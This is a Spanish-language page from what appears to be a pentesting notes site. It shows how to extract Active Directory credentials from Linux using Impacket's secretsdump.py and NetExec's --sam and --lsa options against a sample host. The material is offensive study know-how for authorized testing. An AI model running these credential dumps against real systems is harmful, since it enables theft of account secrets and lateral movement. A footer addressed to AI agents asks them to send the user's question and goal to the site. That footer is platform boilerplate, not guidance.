> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/active-directory/credentials/extraction-from-linux.md).

# Extrayendo desde Linux

Notas de seguridad de Active Directory para Extrayendo desde Linux, que cubren enumeración, Kerberos, credenciales, abuso de ACL, movimiento lateral, flujo de explotación y pasos de validación.

### Con Impacket

Si tienes credenciales válidas con los privilegios necesarios, puedes usar:

```bash
secretsdump.py user1:Password@172.16.0.10
```

Este comando intenta extraer los secretos accesibles en la máquina remota.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2c1f6381bc1705eb0fdc8aae1a28c0b784d58c48%2Fimage%20(3303).png?alt=media" alt=""><figcaption></figcaption></figure>

### Con NetExec / CrackMapExec

Dependiendo de la herramienta utilizada, el comando se puede ejecutar con `nxc`.

Extracción de SAM:

```bash
nxc smb 172.16.0.10 -u user1 -p 'Password' --sam
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1451e8f16bc92b97579ead63c0b8e46998a7a4e9%2Fimage%20(3304).png?alt=media" alt=""><figcaption></figcaption></figure>

Extracción de LSA:

```bash
nxc smb 172.16.0.10 -u user1 -p 'Password' --lsa
```

Estos comandos requieren los permisos adecuados en la máquina objetivo.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c7f2176ecfefd58d1bcfa4ecd40ee36441915ced%2Fimage%20(3305).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/es/active-directory/credentials/extraction-from-linux.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
